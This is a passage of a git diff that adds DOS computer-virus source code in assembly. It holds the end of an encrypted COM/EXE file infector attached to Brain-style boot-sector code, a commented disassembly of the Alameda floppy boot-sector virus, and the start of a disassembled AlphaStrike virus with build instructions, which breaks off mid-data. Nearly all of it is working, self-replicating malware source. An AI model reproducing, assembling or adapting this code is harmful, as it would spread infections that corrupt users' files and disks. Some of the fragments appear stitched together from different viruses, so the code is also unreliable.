$' +changeroot: + call readroot ; read in root directory + jc donotchangeroot + push di + call changevolume ; change volume label + pop di + jc donotchangeroot + call writeroot ; write back new root dir +donotchangeroot: + retn +; The following is just garbage bytes + db 0BBh, 9Bh, 04h,0B9h, 0Bh + db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h + db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h + db 0C6h, 06h + +changevolume: + mov entrycount,6Ch + mov si,offset readbuffer+40h; 3nd dir entry + mov tempsave1,dx + mov ax,entrycount ; 6Ch + shr ax,1 + mov tempsave3,ax ; 36h + shr ax,1 + mov tempsave2,ax ; 1Bh + xchg ax,cx + and cl,43h ; cx = 3 + mov di,tempsave2 + add di,1E3h ; di = 01FE +findlabel: + mov al,[si] + cmp al,0 + je dolabel ; no mo entries + mov al,[si+0Bh] ; attribute byte + and al,8 ; volume label? + cmp al,8 ; yes? + je dolabel ; then change it! + add si,20h ; go to next directory entry + dec entrycount + jnz findlabel ; loop back + stc ; Error! + retn + db 8Bh +dolabel: + mov bx,[di] ; offset a_data + xor bx,tempsave3 ; bx = 53Ah + mov tempsave3,si ; si->direntry + cli + mov ax,ss + mov tempsave1,ax + mov tempsave2,sp + mov ax,cs + mov ss,ax + mov sp,tempsave3 + add sp,0Ch ;->reserved area + mov cl,51h + add dx,444Ch + mov di,2555h + mov cx,0C03h + repe cmpsw + mov ax,0B46h + mov cx,3 + rol ax,cl ; ax = 5A30h + mov tempsave3,ax + mov cx,5 + mov dx,8 + sub tempsave3,5210h ; 820h + push tempsave3 ; store attributes/reserved +; I haven't commented the remainder of this procedure. +; It basically changes the volume label to read "(c) Brain" + +; Comment mode OFF + +dowhatever: + mov ah,[bx] ; 5a3h + inc bx + mov dl,ah + shl dl,1 + jc dowhatever +searchstuff: + mov dl,[bx] ; dl=C2h + inc bx ; bx=53Eh + mov al,dl + shl dl,1 + jc searchstuff + add ax,1D1Dh + push ax + inc tempsave3 + db 73h, 01h ; jnc $+3 + db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 + xchg bp,ax + add al,0A1h + xchg bx,ax + add al,8Eh + sar bl,1 + add dh,[bp+si] + clc + ret + ;db 95h, 04h,0A1h, 93h, 04h, 8Eh + ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h + +; Comment mode ON + +readroot: + mov r_or_w_root,2 ; set action code + jmp short do_rw_root ; easier to do w/ + nop ; mov ah, 2 +writeroot: + mov r_or_w_root,3 + jmp short do_rw_root ; this is somewhat useless + nop +do_rw_root: + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,6 ; sector 6 + mov ah,r_or_w_root + mov al,4 ; 4 sectors + mov bx,offset readbuffer + call doint13h + jc exit_rw_root ; quit on error + mov cx,1 + mov dh,1 ; head 1 + mov ah,r_or_w_root + mov al,3 + add bx,800h + call doint13h + +exit_rw_root: + retn + +doint13h: + mov tempsave1,ax + mov tempsave2,bx + mov tempsave3,cx + mov tempsave4,dx + mov cx,4 + +doint13hloop: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errordoingint13h + mov ax,tempsave1 + mov bx,tempsave2 + mov cx,tempsave3 + mov dx,tempsave4 + int 6Dh ; int 13h + jnc int13hsuccess +errordoingint13h: + pop cx + loop doint13hloop + + stc ; indicate error + retn +int13hsuccess: + pop cx + retn + + db 0, 0, 0 +; Part 4 of the virus starts here +tempstorecx dw 3 +readwritecurrentdata dw 301h + +writevirus: + call FATManip + jc exitwritevirus + mov cursector,1 + mov curhead,0 + mov bx,offset readbuffer + call readcurrent + mov bx,offset readbuffer + mov ax,firstsector + mov cursector,ax + mov ah,firsthead + mov curhead,ah + call writecurrent + call calcnextsector + mov cx,5 + mov bx,200h +writeanothersector: + mov tempstorecx,cx + call writecurrent + call calcnextsector + add bx,200h + mov cx,tempstorecx + loop writeanothersector + + mov curhead,0 + mov cursector,1 + mov bx,0 + call writecurrent + clc ; indicate success +exitwritevirus: + retn + + +readcurrent: + mov readwritecurrentdata,201h + jmp short doreadwrite + nop +writecurrent: + mov readwritecurrentdata,301h + jmp short doreadwrite ; This is pointless. + nop +doreadwrite: + push bx + mov cx,4 + +tryreadwriteagain: + push cx + mov dh,curhead + mov dl,curdrive + mov cx,cursector + mov ax,readwritecurrentdata ; read or write? + int 6Dh ; int 13h + jnc readwritesuccessful + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop cx + loop tryreadwriteagain + + pop bx + pop bx + stc ; Indicate error + retn +readwritesuccessful: + pop cx + pop bx + retn + + +calcnextsector: + inc byte ptr cursector ; next sector + cmp byte ptr cursector,0Ah + jne donecalculate ; finished calculations + mov byte ptr cursector,1 ; clear sector # + inc curhead ; and go to next head + cmp curhead,2 ; if not too large, + jne donecalculate ; we are done + mov curhead,0 ; otherwise clear head # + inc byte ptr cursector+1 ; and advance cylinder +donecalculate: + retn + + db 64h, 74h, 61h + +; read buffer starts here +; insert your favorite boot block below... +readbuffer: + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Arachnyphobia]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,12000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/a/ALEMEDA (19).ASM b/a/ALEMEDA (19).ASM new file mode 100755 index 0000000..287ade7 --- /dev/null +++ b/a/ALEMEDA (19).ASM @@ -0,0 +1,381 @@ +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + NOP + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + \ No newline at end of file diff --git a/a/ALPHA.ASM b/a/ALPHA.ASM new file mode 100755 index 0000000..296567c --- /dev/null +++ b/a/ALPHA.ASM @@ -0,0 +1,890 @@ +; AlphaStrike.2000 or whatever its called by Neurobasher. disasm by retch. +; there are no comments. there are no need for comments unless you are lame. +; +; GREETZ R LAYME SO I WEEL NOT DO NE. +; +; 2 COMPYLE: +; tasm /m alpha.asm (EYE UZED FORE DOT SOMETHING) +; tlink alpha.obj (umm... 2.xx) +; exe2bin alpha.exe alpha.com +; +; i am contactable via retro@pcscav.com + +.model tiny +.code +.286 + +virus_start: mov di, 0F242h + mov si, word ptr ds:[2h] + sub si, di + cmp si, 1000h + call getip +getip: mov bp, sp + mov bp, [bp] + cld + mov ax, 4458h + int 21h + jb checkifdosinhma + mov ds, es:[bx+0Eh] + mov si, 0Bh + jmp addressatSI +sysentry: pushf + pusha + push ds + push es + jmp virus_start +checkifdosinhma:mov ax, 3306h + int 21h + cmp al, 6 + jnz checkdosversion + cmp dh, 10h + jnz go_abortinstall + mov ax, 0FFC4h + jmp compareints +checkdosversion:mov ah, 30h + int 21h + xchg al, ah + cmp ax, 31Eh + mov ax, 1Bh + jb go_abortinstall +compareints: mov cx, 0Ah + mov ds, cx + mov es, cx + mov si, 14h + mov bx, si + lea di, [bx+si] + cmpsw + jnz abortinstall + cmpsw +go_abortinstall:jnz abortinstall + lds si, [bx] + add si, ax + cmp al, 1Bh + jz checkifkernelpatched + mov si, [si+8] +addressatSI: lds si, [si] +checkifkernelpatched: + cmp byte ptr [si], 0EAh + jz abortinstall + mov cs:[bp+(kernaladdress )-getip], si + mov cs:[bp+(kernaladdress+2)-getip], ds + call getmemory + jnz abortinstall + lea si, [bp+(virus_start)-getip] + push cs + pop ds + mov es, cx + mov cx, offset header + rep movsb + sub ax, ax + mov cl, 0C0h + rep stosb + mov di, offset newint21 + mov es:[di+1], al + lds si, ds:[bp+(kernaladdress)-getip] + mov ax, [si] + mov cl, 6Ch + mov bx, 6 + cmp al, 0FAh + jz patchkernel + mov bl, 7 + cmp al, 2Eh + jz patchkernel + mov cl, 69h + mov bl, 5 + cmp al, 80h + jnz abortinstall +patchkernel: mov es:[di+savecmp-newint21], cl + add bx, si + mov es:[di+kernaladdress-newint21], bx + mov byte ptr [si], 0EAh + mov [si+1], di + mov [si+3], es +abortinstall: pop ax + sub si, si + mov ax, ss + cmp ah, 90h + jz restoresys + mov ah, 62h + int 21h + push bx + mov ds, bx + mov cx, [si+2Ch] + jcxz restorehost + mov ds, cx + mov ch, 8 +findcomspec: cmp word ptr [si], 4F43h + jnz keeplooking + cmp word ptr [si+6], 3D43h + jz foundcomspec +keeplooking: inc si + loop findcomspec + jmp restorehost +foundcomspec: mov ax, 3D00h + lea dx, [si+8] + int 21h + xchg ax, bx + mov ah, 3Eh + int 21h +restorehost: pop ax + mov ds, ax + mov es, ax + add ax, 10h + mov bx, ax + db 81h,0C3h +savess dw 0FFF0h + cli + db 0BCh +savesp dw 0FFFEh + mov ss, bx + db 5 +savecs dw 0FFF0h + mov cs:[bp+jumpsegment-getip], ax + cmp sp, 0FFFEh + jnz zeroregs + mov word ptr ds:100h, 20CDh +first2 = $-2 + mov byte ptr ds:102h, 90h +next1 = $-1 +zeroregs: sub ax, ax + sub bx, bx + sub cx, cx + cwd + sub si, si + sub di, di + sub bp, bp + sti + jmp near ptr jumptohost + db 0EAh +jumptohost db 0EAh +saveip dw 100h +jumpsegment dw 0 +restoresys: pop es + pop ds + mov word ptr [si+8], 0 +sysret2 = $-2 + popa + popf + db 68h +sysret dw 0 + ret +getmemory: call getlastmcb + mov ax, ds + mov bx, [si+3] + sub bx, dx + add ax, bx + xchg ax, cx + xchg ax, bx + jmp setnewmcbsize +setlastmcbsize: call getlastmcb + dec ax ; ax=cs + mov cx, ax ; cx=ax +sublastmcbseg: sub ax, bx ; ax=ax-lastmcbseg +setnewmcbsize: dec ax + or di, di + jnz dontsetmcbsize + mov [si+3], ax +dontsetmcbsize: ret +modifytomseginpsp: + mov ah, 62h + int 21h + mov ds, bx + int 12h + shl ax, 6 + sub ax, 87h + mov ds:2, ax +hideourmem: call getlastmcb + add ax, dx ; ax=virusparasize+virusseg+1 + jmp sublastmcbseg +getlastmcb: push es + mov ah, 52h + int 21h + mov ds, es:[bx-2] + mov ax, 5802h + int 21h + cbw + push ax + mov ax, 5803h + mov bx, 1 + int 21h ; set umb's as part of chain + sub si, si + mov di, si +getlastmcbloop: call getnextmcb + jnz getlastmcbloop + pop bx + push ax + mov ax, 5803h + int 21h + pop bx + pop es + mov ax, cs + inc ax + mov dx, 87h ; 2160d / 10h + ret +getnextmcb: cmp word ptr [si+10h], 20CDh + jnz checkiflast + cmp byte ptr [si+15h], 0EAh + jnz checkiflast + inc di +checkiflast: cmp byte ptr [si], 5Ah ; 'Z' + jz islastblock + mov ax, ds + inc ax + add ax, [si+3] + mov ds, ax +islastblock: ret +newint21: db 0EBh +virusactive db 4Ch + mov cs:saveds, ds + push cs + pop ds + mov savedi, di + mov di, offset saveds + mov byte ptr [di+virusactive-saveds], 4Ch + mov [di+savees-saveds], es + mov [di+saveax-saveds], ax + mov [di+savebx-saveds], bx + mov [di+savecx-saveds], cx + mov [di+savedx-saveds], dx + mov [di+savesi-saveds], si + mov [di+savebp-saveds], bp + push cs + pop es + mov di, offset functions + db 0B9h +stealthmode dw 14h + xchg al, ah + xor al, 5Fh + cld + repne scasb + jnz exithandler + sub di, offset functions+1 + shl di, 1 + add di, offset functionoffsets + push offset exithandler + push word ptr [di] + jmp near ptr restoreregs +exithandler: call restoreregsandsetvirusactive +emulateoldkernal: + cmp ah, 6Ch +savecmp = $-1 + ja zeroal_iret + cli + db 0EAh +kernaladdress dd 0FDC840FEh +writeheader: mov ah, 40h + mov cx, 18h +readwritefromsi:mov dx, si +int21: cli + pushf + call cs:kernaladdress + ret +zeroal_iret: mov al, 0 + iret +restoreregsandsetvirusactive: + call near ptr restoreregs +setvirusactive: mov cs:virusactive, 0 + ret +memstealth: call setlastmcbsize ; 48h/49h/4Ah +restoreregs: db 0B8h +saveds dw 9850h + mov ds, ax + db 0B8h +savees dw 6D8h + mov es, ax + db 0B8h +saveax dw 4B00h + db 0BBh +savebx dw 241h + db 0B9h +savecx dw 209h + db 0BAh +savedx dw 40E6h + db 0BEh +savesi dw 0E4h + db 0BFh +savedi dw 0 + db 0BDh +savebp dw 6914h + ret +loc_0_272: mov dx, 3F5h + mov al, 4 + mov ch, 4 + out dx, al + loop $ + mov ch, 4 + out dx, al + loop $ + in al, dx + test al, 40h + ret +message db 002h,0E0h,052h,0BFh,0B4h,0B0h,0B8h,0BFh,0E0h,0ADh + db 0ACh,0AEh,0B7h,0B5h,0BBh,051h,0E0h,007h,0E0h,0BFh + db 